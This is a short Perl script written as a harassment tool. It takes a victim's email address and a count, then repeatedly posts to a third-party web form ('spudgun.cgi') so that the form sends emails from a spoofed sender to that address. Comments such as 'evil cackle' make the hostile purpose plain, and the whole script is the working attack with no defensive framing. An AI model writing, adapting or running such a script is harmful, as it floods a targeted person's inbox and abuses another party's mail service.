#!/usr/bin/perl use HTTP::Request::Common qw(POST); use LWP::UserAgent; my $VictimEmail = shift; # The Victim's E-mail Adress {evil cackle} my $ClipSize = shift; # How many E-mails you want to send for( my $i = 0; $i < $ClipSize; $i++ ) { my $req = POST( 'http://www.cromedome.net/cgi-bin/spudgun.cgi', [ from_name => 'A very bad man', from_email => 'AVeryBadMan@BadPeople.com', to_name => 'Sucker!', to_email => $VictimEmail, ] ); $ua = LWP::UserAgent->new; my $result = $ua->request($req)->as_string; die"%*#%! spudgun, That didn't work! \n$result" unless $result =~ /You have just fired your spudgun/; sleep( 5 ); # try not to overload the server. }